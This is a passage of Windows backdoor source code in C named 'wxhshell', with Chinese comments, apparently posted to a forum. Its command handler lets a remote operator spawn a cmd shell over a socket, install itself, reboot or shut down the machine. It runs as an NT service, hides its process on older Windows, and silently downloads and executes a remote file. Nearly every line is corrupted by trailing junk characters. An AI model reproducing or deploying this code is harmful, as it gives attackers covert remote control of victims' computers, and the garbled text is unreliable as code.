      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); JGsx_V1t  
    break; w[S pw<Z  
  } g!?:Ye`5  
  // 安装 !'&n -Q  
  case 'i': { WaVtfg$!  
    if(Install()) *n 6s.$p)%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &]v4@%<J  
    else #Ssx!+q?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |"/8XA  
    break; Mn2QZp4  
    } GT}F9F~  
  // 卸载 si`A:14R  
  case 'r': { :(!` /#6H  
    if(Uninstall()) %|g>%D3Z?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rV R1wsaL  
    else :Q $K<)[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sk,ox~0R  
    break; u09:Z{tL;@  
    } {mZC$U'  
  // 显示 wxhshell 所在路径 z(_Ss@ $  
  case 'p': { r@+ri1c  
    char svExeFile[MAX_PATH]; 5NS[dQG5  
    strcpy(svExeFile,"\n\r"); e;Ti&o}  
      strcat(svExeFile,ExeFile); @SJL\{_  
        send(wsh,svExeFile,strlen(svExeFile),0); EQb7 -vhg  
    break; wkA+j9.  
    } e vrXo"3  
  // 重启 Ljxz.2LGr  
  case 'b': { ein4^o<f.  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Zhh2v>QOy  
    if(Boot(REBOOT)) WQ[_hg|k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z3&]%Q&  
    else { DnCP aM4%  
    closesocket(wsh); 7'Zky2F  
    ExitThread(0); Cjqklb/  
    } iOR_[y,  
    break; ^W'fA{sr  
    } hAYTj0GZ  
  // 关机 # {w9s 0:  
  case 'd': { }.3nthgz  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); hU`wVy  
    if(Boot(SHUTDOWN)) sYe?M,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :3XA!o&.T3  
    else { pk?w\A}  
    closesocket(wsh); \>jLRb|7Ts  
    ExitThread(0); 6-yd]("  
    } [Sr,h0h6  
    break; 6+.uU[x@  
    } ??PC k1X  
  // 获取shell 9o;^[Ql-  
  case 's': { A?CcHw rT  
    CmdShell(wsh); KM}f:_J*lg  
    closesocket(wsh); @hJ%@(  
    ExitThread(0); yaah*1ip[  
    break; 7ePqmB<.  
  } Gb8D[1=u=  
  // 退出 l)Pu2!Ic  
  case 'x': { 8TGOx%}i  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); QW $G  
    CloseIt(wsh); zm]aU`j  
    break; i`Q KH  
    } uJFdbBDSh  
  // 离开 XWA:J^  
  case 'q': { g#F?!i-[F  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?&|5=>u2}$  
    closesocket(wsh); b%<9Sn   
    WSACleanup(); ::ajlRZG  
    exit(1); 12;8o<~  
    break; rM .|1(u  
        } o_@4Sl8  
  } _CW(PsfY  
  } u+'tfFds&  
] 8Q4BW  
  // 提示信息 iVB86XZ`  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6^]!gR#B  
} V n*  
  } LXbP 2  
`D=S{   
  return; ebT:/wu,2  
} Qa.<K{m#?  
7w'wjX-  
// shell模块句柄 ptDY3n~'  
int CmdShell(SOCKET sock) t.laO. 3  
{ 9?0^ap,T  
STARTUPINFO si; *^f<W6xc  
ZeroMemory(&si,sizeof(si));  _59huC.  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; a"FCZ.O1  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +6';1Nb@  
PROCESS_INFORMATION ProcessInfo; A9wh(P0\  
char cmdline[]="cmd"; cm?\ -[cV  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _(h&7P9  
  return 0; ,=Mt`aN  
} n}'=yItVL1  
9\/xOwR  
// 自身启动模式 %] >KvoA  
int StartFromService(void) Olh<,p+x  
{ 73xAG1D$r  
typedef struct AS\F{ !O  
{ Cq'KoN%nQ  
  DWORD ExitStatus; !Cr(P e]  
  DWORD PebBaseAddress; *QLI3B9V  
  DWORD AffinityMask; KU8J bl*   
  DWORD BasePriority;  #`o2Z  
  ULONG UniqueProcessId; 1XD,uoxB  
  ULONG InheritedFromUniqueProcessId; BZR:OtR^  
}   PROCESS_BASIC_INFORMATION; NdzSz]q}  
_NMm/]mN /  
PROCNTQSIP NtQueryInformationProcess; 7PtN?;rP  
8P1=[i]  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; zxC#0@qX07  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; mT.u0KUIy  
|NpP2|4h  
  HANDLE             hProcess; hJZV}a|  
  PROCESS_BASIC_INFORMATION pbi; 22.8PO0  
D^=J|7e  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); K%^V?NP*{Z  
  if(NULL == hInst ) return 0; eA#;AQm  
,M^P!  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Y?(r3E^x  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "x3lQ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~])t 6i  
yF"1#{*y  
  if (!NtQueryInformationProcess) return 0; 0cJWJOj&  
JV]^zW  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); r\/9X}y4z  
  if(!hProcess) return 0; Z yE `/J'  
A'jP7 P  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; a{ ?`t|  
Fsif6k=4  
  CloseHandle(hProcess); |j#C|V%kV  
G>1eFBh }  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); yIDD@j=l  
if(hProcess==NULL) return 0; `bZ/haU}A  
G0^2Wk[  
HMODULE hMod; Y#u}tE d  
char procName[255]; QlO0qbG[y  
unsigned long cbNeeded; b\-&sM(W"  
E )5E$  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); XqW@rU  
`kZ@Zmj#  
  CloseHandle(hProcess); _Jme!Oaa  
l zYnw)Pv  
if(strstr(procName,"services")) return 1; // 以服务启动 9hOJvQ2U]  
iVy7elT;R  
  return 0; // 注册表启动 y5do1Z  
} =gJb^ Gx(w  
V- Cv,8   
// 主模块 pO ml8SQf  
int StartWxhshell(LPSTR lpCmdLine) DjN|Wr)*  
{ v(EEG/~  
  SOCKET wsl; 5ZMR,SZhC  
BOOL val=TRUE; 1Dv R[Lx%  
  int port=0; $+>M{fg?  
  struct sockaddr_in door; * v75O7l  
Y0_),OaY  
  if(wscfg.ws_autoins) Install(); \ aHVs  
V??dYB(  
port=atoi(lpCmdLine); Lz:(6`S  
,)iKH]lY=  
if(port<=0) port=wscfg.ws_port; $D}{]MN.  
U`Wauv&  
  WSADATA data; }jVSlCF@t  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [L:o`j  
k[HAkB \{  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   4)U.5FBk )  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8AnP7}n;?'  
  door.sin_family = AF_INET; A9kzq_ 3  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); /C4^<k\  
  door.sin_port = htons(port); QoG cWJ  
OujCb^Rm  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { p\JfFfC  
closesocket(wsl); \'CDRr"uw  
return 1; %YSu8G_t  
} `~ * @q!  
VxXzAeM  
  if(listen(wsl,2) == INVALID_SOCKET) { US%^#D q  
closesocket(wsl); &&VqD w  
return 1; >&p0d0  
} 'ul~7h;n  
  Wxhshell(wsl); IjR'Qou5  
  WSACleanup(); opJMS6%r  
&'DU0c&  
return 0; mGGsB5#w>  
1$81E.  
} $.GOZqMs  
W~p/,HcM  
// 以NT服务方式启动 k}0^&Quc4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) a(v>Q*zNP  
{ Ns[ym>x#2  
DWORD   status = 0; 6+KHQFb&N  
  DWORD   specificError = 0xfffffff; 9> g,  
>$,y5 AJ&  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 6'RrQc=q  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 8WXJ.  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ^>N]H>0'S  
  serviceStatus.dwWin32ExitCode     = 0; zBJ7(zh!  
  serviceStatus.dwServiceSpecificExitCode = 0; A%{W{UP8N  
  serviceStatus.dwCheckPoint       = 0; YcN!T"w J@  
  serviceStatus.dwWaitHint       = 0; dGFGr}&s  
lME)?LOI  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); NU*fg`w  
  if (hServiceStatusHandle==0) return; OKvPL=~  
Sf,R^9#|  
status = GetLastError(); F`9ZH.  
  if (status!=NO_ERROR) \0H's{uek  
{ v !FMs<  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; K&U7H:  
    serviceStatus.dwCheckPoint       = 0; )"m!YuS Y  
    serviceStatus.dwWaitHint       = 0; 3,Q^& 1  
    serviceStatus.dwWin32ExitCode     = status; ?&^?-S% p  
    serviceStatus.dwServiceSpecificExitCode = specificError; ryc& n5  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); "luR9l,RRE  
    return; \#>T~.Y7K  
  } ]+m/;&0  
)5.C]4jol  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; j* *s^Sg  
  serviceStatus.dwCheckPoint       = 0; !QT'L,_  
  serviceStatus.dwWaitHint       = 0; k~|-gf FP  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); v (2GX  
} F|HJH"2*&q  
@5[kcU>  
// 处理NT服务事件,比如:启动、停止 6Vbzd0dk  
VOID WINAPI NTServiceHandler(DWORD fdwControl) R3!@?mcr  
{ \AC|?/sH  
switch(fdwControl) 8l"O(B'#Z  
{ 4 8{vE3JY  
case SERVICE_CONTROL_STOP: -dO'~all  
  serviceStatus.dwWin32ExitCode = 0; #%FN>v3e  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; vi)%$~  
  serviceStatus.dwCheckPoint   = 0; )Y8",Ig  
  serviceStatus.dwWaitHint     = 0; gn{=%`[  
  { k3t78Qg  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); i"j(b|?e  
  } /LM4- S  
  return; kGUJ9Du  
case SERVICE_CONTROL_PAUSE: w?,M}=vg  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 3F#+~^2  
  break; 0iZGPe~  
case SERVICE_CONTROL_CONTINUE: 3~qR  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; OGrBUP  
  break; t nS+5F  
case SERVICE_CONTROL_INTERROGATE: o|j*t7  
  break; cFagz* !  
}; +]@Az.E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (LtkA|:  
} 0gn@h/F2%  
>l+EJ3W  
// 标准应用程序主函数 ]}UgS+g>$  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) CZEW-PIhj  
{ =q"eU=9  
;_:Ool,  
// 获取操作系统版本 !tHt,eJy  
OsIsNt=GetOsVer(); ^MmC$U^n  
GetModuleFileName(NULL,ExeFile,MAX_PATH); a? R[J==  
K{l5m{:%  
  // 从命令行安装 i%#$*  
  if(strpbrk(lpCmdLine,"iI")) Install(); M/*NM= -a  
- ~4+w  
  // 下载执行文件 dP>w/$C}  
if(wscfg.ws_downexe) { .]|Zf!>}s  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) k?VQi5M  
  WinExec(wscfg.ws_filenam,SW_HIDE); x>~p;z#VX  
} kHJ96G  
"*7C`y5&P  
if(!OsIsNt) { PVa o  
// 如果时win9x,隐藏进程并且设置为注册表启动 r Db>&s3  
HideProc(); somfv$'B  
StartWxhshell(lpCmdLine); oH2!5;A|  
} 4 UAvw  
else Yn9j-`  
  if(StartFromService()) w.N,)]h  
  // 以服务方式启动 Qeb}!k2A  
  StartServiceCtrlDispatcher(DispatchTable); y5 m!*=`l`  
else XV'fW~j\  
  // 普通方式启动 _N3}gFh>  
  StartWxhshell(lpCmdLine); Ih1|LR/c  
#3kXmeyrD  
return 0; ' 9J|=z9.  
}
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只看该作者 1 发表于: 2006-10-10
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